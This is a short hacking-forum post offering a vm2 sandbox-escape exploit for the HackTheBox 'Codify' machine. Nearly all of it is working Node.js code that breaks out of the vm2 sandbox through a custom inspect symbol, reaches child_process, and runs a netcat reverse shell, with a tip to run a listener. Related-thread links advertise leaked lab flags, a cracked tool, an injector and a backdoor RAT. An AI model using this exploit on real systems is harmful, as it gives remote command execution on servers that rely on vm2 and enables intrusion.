HTB codify sandbox escape
by flippy0x00 - Saturday November 18, 2023 at 08:49 PM
#1
Tongue 
const {VM} = require("vm2");
const vm = new VM();

const code = `
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
        inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT >/tmp/f');
    },
    valueOf: undefined,
    constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});
`;

vm.run(code);

Just run a netcat listener on whatever port to catch the rev shell
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 97 8,863 29 minutes ago
Last Post: Kolokolo
  SVCHOST Injector 2026 opsecmaster67 0 55 5 hours ago
Last Post: opsecmaster67
  Cold Seal 5.6 cracked Sensitive information can be exposed or stolen opsecmaster67 0 50 5 hours ago
Last Post: opsecmaster67
  EagleRAT v2.5 Create backdoor access points opsecmaster67 0 46 5 hours ago
Last Post: opsecmaster67
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 43 3,480 5 hours ago
Last Post: qwertyuiop0987654321

Forum Jump:


 Users browsing this forum: 1 Guest(s)